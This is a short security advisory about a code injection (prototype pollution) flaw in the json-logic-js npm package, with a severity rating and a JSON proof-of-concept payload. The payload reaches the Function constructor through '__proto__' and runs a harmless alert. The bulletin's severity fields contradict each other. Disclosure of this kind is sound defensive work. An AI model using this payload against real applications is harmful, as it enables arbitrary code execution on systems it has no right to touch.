SB2020091429 - Code Injection in json-logic-js package for NPM



SB2020091429 - Code Injection in json-logic-js package for NPM

Published: September 14, 2020 Updated: September 16, 2020

Security Bulletin ID SB2020091429
CSH Severity
High
Patch available
NO
Number of vulnerabilities 1
Exploitation vector Remote access
Highest impact Code execution

Breakdown by Severity

Medium 100%
  • Low
  • Medium
  • High
  • Critical

Description

This security bulletin contains information about 1 vulnerability.


1) Prototype pollution (CVE-ID: N/A)

CWE-ID: CWE-94 - Improper Control of Generation of Code ('Code Injection')

CVSSv4: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P/U:Green


The disclosed vulnerability allows a remote attacker to perform code inection attacks.

The vulnerability exists due to insufficient sanitization of user-supplied data. A remote attacker can inject and execute arbitrary script code.

Example:

{
  "method": [
    {
      "method": [
        {
          "var": "__proto__.constructor.is."
        },
        "constructor",
        [
          "var x = 'SECURITY!'; console.log(x, window.fetch); alert(x)"
        ]
      ]
    },
    "call"
  ]
}


Remediation

Cybersecurity Help is not aware of any official remediation provided by the vendor.